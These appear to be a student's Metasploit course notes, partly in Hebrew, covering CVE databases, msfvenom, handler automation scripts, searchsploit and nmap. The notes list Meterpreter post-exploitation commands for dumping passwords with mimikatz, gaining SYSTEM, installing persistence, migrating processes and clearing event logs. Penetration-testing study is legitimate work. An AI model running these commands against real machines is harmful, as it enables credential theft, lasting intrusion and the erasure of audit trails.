METASPLOIT

CVE- Common vulnerability and exposures (ethernalblue = ma010-17)

Search engines for CVEs –

cvedetails.com –

cve.mitre.org –

exploit-db.com

הכנסה ידנית של מודולים לMETASPLOIT

Cd /usr/share/metasploit-framework/moduls

MSVENOM –I – כמה פעמים זה יקודד את הPAYLOAD

יצירת סקריפטים אוטומטים לMETASPLOIT

דרך ידנית

1. יצירת סקריפט עם סיומת .rc
2. רשימת פקודות לאוטומציה

Use exploit/multi/handler

Set payload

Set lhost

Set lport

Run

1. הרצת האוטומציה - - Msfconsole –r file.rc

דרך אוטומטית

1. פותח METASPLOIT
2. מריץ פקודות
3. Makerc filename.rc

**PRIVILEGE ESCELETION WITH METERPRETER:**

Getuid

Load mimikatz

Mimikatz\_command –f privilege::debug

Mimikatz\_command –f sekurlsa::logonpasswords

Use exploit/windows/local/ask

Getuid

Getsystem

Run persistence ------- to make kviut

Run persistence

Shell >> taskslist >> exit >> migrate <task id>

Use post/windows/manage/persistence\_exe

Clearev --- clear eventviewer

telegram groups – offensive security, infosec.il

searchploit –u –------ update database

nmap 10.3.3.3 –sV –oX filename

-oX in nmap – output to xml file

Searchploit --nmap file.xml

Seachploit –m <exploit link> ---- download the exploit

Armitage - -כמו METASPLOIT רק GUI

HAIL MARY – EXPLOIT שהיה בעבר בMETASPLOIT והוצא משם כי מאוד העמיס על המערכת EXPLOIT זה מריץ את כל הEXPLOITIM על המטרה

Netstats -abt

שיעורי בית:

לברר כיצד מחזירים את HAIL MARY לMETASPLOIT

Likro al metasploit PRO